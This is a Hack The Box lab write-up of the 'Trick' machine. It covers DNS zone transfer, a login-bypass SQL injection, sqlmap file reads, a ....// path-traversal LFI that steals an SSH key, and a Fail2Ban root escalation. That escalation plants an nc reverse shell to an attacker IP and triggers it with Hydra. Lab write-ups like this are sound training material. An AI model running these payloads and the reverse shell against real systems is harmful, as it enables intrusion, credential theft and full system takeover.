Post cover image

September 29, 2026

Hack The Box Trick Write-Up: From DNS Zone Transfer to Fail2Ban Root

A Step-by-Step Walkthrough of DNS Enumeration, Blind SQL Injection, Local File Inclusion, SSH Key Disclosure, and Fail2Ban Privilege…

By ZeroByte

8 min read

A Step-by-Step Walkthrough of DNS Enumeration, Blind SQL Injection, Local File Inclusion, SSH Key Disclosure, and Fail2Ban Privilege Escalation

Introduction

Trick is an easy Linux machine that focuses on DNS enumeration, virtual-host discovery, SQL injection, local file inclusion, and a Fail2Ban misconfiguration.

The initial attack path involved performing a DNS zone transfer to discover a Payroll application. An SQL injection in that application provided database enumeration and arbitrary file-read capabilities, which exposed an additional Marketing virtual host. A local file inclusion vulnerability in the Marketing application allowed the disclosure of Michael's private SSH key. Root access was later obtained by modifying a writable Fail2Ban action file and restarting the service with sudo.

Reconnaissance

Full TCP Port Scan

sudo nmap -p- -sV -sC 10.129.227.180 --min-rate=1000 -oN full-scan_tricks -v --open

The scan identified four exposed services that required further enumeration:

80 http Nginx 1.14.2

53 DNS

25 SMTP

22 SSH

None

Tried to enumerate subdomains of this host

Dead end — this approach did not work.

fuzzing with ffuf the Vhosts of tricks.htb

Why it was abandoned: Zero results (later on I found the host name is trick.htb)

fuzz for directory

Dead end — this approach did not work.

tried to fuzz the directory of this host with ffuf

Why it was abandoned: Found zero results

Pivot to DNS Enumeration

Dead end — this approach did not work.

I initially became stuck during reconnaissance after repeated directory and virtual-host fuzzing against tricks.htb returned no useful results. I tried different wordlists and adjusted the FFUF commands, but the outcome remained unchanged.

At this point, I temporarily switched from Adventure Mode to Guided Mode. The guidance prompted me to revisit the original Nmap results, where I noticed that the target also exposed a DNS service on port 53. A reverse DNS lookup then revealed that the correct hostname was trick.htb; I had mistakenly added an s to the domain name during my initial enumeration.

After correcting the hostname, I returned to Adventure Mode and continued with DNS enumeration.

dig @10.129.227.180 -x 10.129.227.180

Output:

10.129.227.180  trick.htb

The reverse DNS query revealed that the correct hostname was trick.htb, not tricks.htb as initially assumed.

Enumeration

DNS Zone Transfer

dig @10.129.227.180 trick.htb AXFR

Output:

preprod-payroll.trick.htb

The zone transfer exposed the preprod-payroll.trick.htb virtual host.

None

Payroll Content Discovery

dirsearch -u http://preprod-payroll.trick.htb/

Output:

[06:23:30] Starting:
[06:24:01] 200 -    0B  - /ajax.php
[06:24:03] 301 -  185B  - /assets  ->  http://preprod-payroll.trick.htb/assets/
[06:24:03] 403 -  571B  - /assets/
[06:24:16] 301 -  185B  - /database  ->  http://preprod-payroll.trick.htb/database/
[06:24:16] 403 -  571B  - /database/
[06:24:27] 200 -    2KB - /header.php
[06:24:28] 200 -  486B  - /home.php
[06:24:37] 200 -    5KB - /login.php
[06:24:58] 200 -  149B  - /readme.txt
[06:25:18] 200 -    2KB - /users.php

Enumeration of the directories of the preprod-payroll subdomain.

None

Open directory leading to finding valid username

Content discovery identified an exposed users.php endpoint that disclosed the valid application username Enemigosss.

None 
Enemigosss' or '1'='1

After getting the valid username, I tried to enter it and use SQL statement to bypass the authentication mechanism. It worked! The payload bypassed authentication and provided access to the application with the Administrator role.

None None

SQL Injection Discovery

After authenticating to the application, I observed that employee records were retrieved through the id GET parameter: /view_employee.php?id=1

By modifying the id parameter and comparing the resulting responses, I confirmed that the value was incorporated into a database query. SQLMap subsequently identified the parameter as vulnerable to boolean-based and time-based blind SQL injection.

None

Database Privilege Enumeration

sqlmap -u 'http://preprod-payroll.trick.htb/view_employee.php?id=1' --cookie="2v1kskeh70894f9b3pqo27ahoe" --banner --current-user --current-db --privileges

The application was connected to MySQL with the user remo as the database user. The account has the global FILE privilege, which could potentially allow server-side file operations, subject to MySQL configuration and the operating-system permissions of the database process.

None 
sqlmap -u 'http://preprod-payroll.trick.htb/view_employee.php?id=1' --cookie="2v1kskeh70894f9b3pqo27ahoe"  --file-read "/etc/passwd" --threads=5

SQLMap successfully retrieved /etc/passwd. The file disclosed a local user named michael, whose home directory was /home/michael.

None

Credential Reuse Dead End and Second Pivot

Dead end — this approach did not work.

The Payroll database exposed credentials associated with the Enemigosss application account. I tested whether the credentials had been reused for SSH access, but authentication failed. I also reviewed the exposed SMTP service, but the server did not advertise support for SMTP authentication.

After these attempts failed, I temporarily switched to Guided Mode again. The guidance suggested that I should make further use of the database user's FILE privilege and inspect local configuration files rather than continue testing the application credentials.

I then used the SQL injection to retrieve the Nginx configuration, which exposed the additional preprod-marketing.trick.htb virtual host. From that point, I returned to Adventure Mode and continued enumerating the newly discovered application.

Based on this guidance, I decided to use the database user's FILE privilege to inspect the Nginx configuration for additional virtual hosts and application paths. I then returned to Adventure Mode and continued the assessment independently.

Reading the Nginx Configuration

sqlmap -u 'http://preprod-payroll.trick.htb/view_employee.php?id=1' --cookie="2v1kskeh70894f9b3pqo27ahoe"  --file-read "/etc/nginx/sites-available/default" --threads=5

The Nginx configuration contained a second server block for preprod-marketing.trick.htb, with its document root configured under /var/www/market.

This discovery provided a new attack surface. I added the virtual host to /etc/hosts and shifted my enumeration from the Payroll application to the Marketing application.

None None

Marketing Application Exploitation

Testing for Local File Inclusion

http://preprod-marketing.trick.htb/index.php?page=....//....//....//....//....//....//etc/passwd

The Marketing application loaded content through the page GET parameter. Because user-controlled input appeared to determine which file was included, I tested the parameter for path traversal.

A standard traversal sequence did not return the requested file. However, using the nested ....// sequence bypassed the application's path sanitization and allowed /etc/passwd to be retrieved.

None None 
http://preprod-marketing.trick.htb/index.php?page=....//....//....//....//....//....//home/michael/user.txt

Extracting the user.txt file.

None

user flag

Location: [REDACTED]

Value: [REDACTED]

Initial Access

The key was successfully retrieved and saved locally

curl -s "http://preprod-marketing.trick.htb:80/index.php?page=....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//home/michael/.ssh/id_rsa" -o id_rsa
chmod 600 id_rsa
ssh -i id_rsa michael@10.129.227.180
None

Privilege Escalation

Sudo Fail2ban Privilege Escalation

1. What can we run with sudo?

sudo -l

Output:

(root) NOPASSWD: /etc/init.d/fail2ban restart

Checking for sudo run rights as the user "michael". I found that I can restart the service fail2ban. ("That is a lightweight intrusion prevention software that protects Linux servers from brute-force attacks by scanning log files and temporarily blocking malicious IP addresses.")

None

2. Can Fail2Ban Be Influenced Through Writable Configuration Files?

find /etc -writable -ls 2>/dev/null

Output:

4 drwxrwx--- 2 root security  4096 Oct 16 08:57 /etc/fail2ban/action.d

If we can execute "fail2ban" as root, we can gain access to privileges by modifying the configuration file. We need to check if the config file is writable.

3. Verify Group Membership

The directory was writable by the security group, and michael was a member of that group. This allowed the user to replace Fail2Ban action configuration files.

None

4. Review the Fail2Ban Jail Configuration

less /etc/fail2ban/jail.conf

Output:

# output
...
# "bantime" is the number of seconds that a host is banned.
bantime  = 10s
# A host is banned if it has generated "maxretry" during the last "findtime"
# seconds.
findtime  = 10s
# "maxretry" is the number of failures before a host get banned.
maxretry = 5
...

Look inside of "/etc/fail2ban/jail.conf" to know more about how fail2ban is configured.

5. Copy Configuration File to Michael's home directory

ls -al /etc/fail2ban/action.d/iptables-multiport.conf
# copy this file into the home directory for editing the content
cp /etc/fail2ban/action.d/iptables-multiport.conf ~

For privilege escalation, we need to update the "iptables-multiport.conf". Specifically, insert a payload to one of the following values.

  • actionstart
  • actionstop
  • actioncheck
  • actionban
  • actionunban

Here update the value of actionban which triggers ban on multiple login attempts. Copy iptables-multiport.conf to the current user's home directory.

6. Modify the Configuration File

nano iptables-multiport.conf
# inside the file:
actionban = /usr/bin/nc 10.10.14.224 4444 -e /bin/bash

I replaced the actionban command with a reverse shell payload.

None
  1. Moving the edited configuration file
mv ~/iptables-multiport.conf /etc/fail2ban/action.d/iptables-multiport.conf

I then moved the modified configuration file back to its original location.

8. Restart the service

sudo /etc/init.d/fail2ban restart

To apply the new configuration, restart it as root.

None

9. Start a listener

python3 penelope.py

10. Trigger the Action

hydra -l root -P passwords.txt 10.129.227.180 ssh

I used Hydra to generate repeated failed SSH authentication attempts until the configured maxretry threshold was reached.

11. Root Shell

id

Output:

uid=0(root) gid=0(root) groups=0(root)

Once the failed SSH attempts reached the configured maxretry threshold, Fail2Ban executed the modified action as root. Penelope received the reverse shell, and the effective identity was verified:

None

Post-Exploitation

root flag

Location: [REDACTED]

Value: [REDACTED]

Lessons Learned

DNS Enumeration

When TCP or UDP port 53 is exposed, I should query the target DNS server directly and test whether zone transfers are permitted. Virtual host fuzzing may not discover names that are available through DNS records, and an incorrect base domain can make otherwise valid enumeration attempts appear unsuccessful.

Credential Validation

Recovered credentials should be tested against relevant exposed services, but unsuccessful reuse attempts should not consume excessive time. After validating the obvious possibilities, I should document the result and continue enumerating other attack surfaces.

Database Privileges

After confirming SQL injection, I should identify the current database user and enumerate its privileges. In this case, the MySQL FILE privilege expanded the impact from database access to local file disclosure.

Configuration File Enumeration

Web server configuration files can disclose document roots, internal applications, and additional virtual hosts. Reading the Nginx configuration revealed the Marketing application and provided the pivot to the successful initial-access path.

Nginx guide

Beginner's Guide This guide gives a basic introduction to nginx and describes some simple tasks that can be done with it. It is supposed…

file2ban — PE

Sudo Fail2ban Privilege Escalation | Linux Privilege Escalation Sudo fail2ban command might be vulnerable to privilege escalation (PrivEsc).

Thanks for taking the time to read my write-up. I hope you found it helpful, and I'd be glad to hear your feedback or alternative approaches!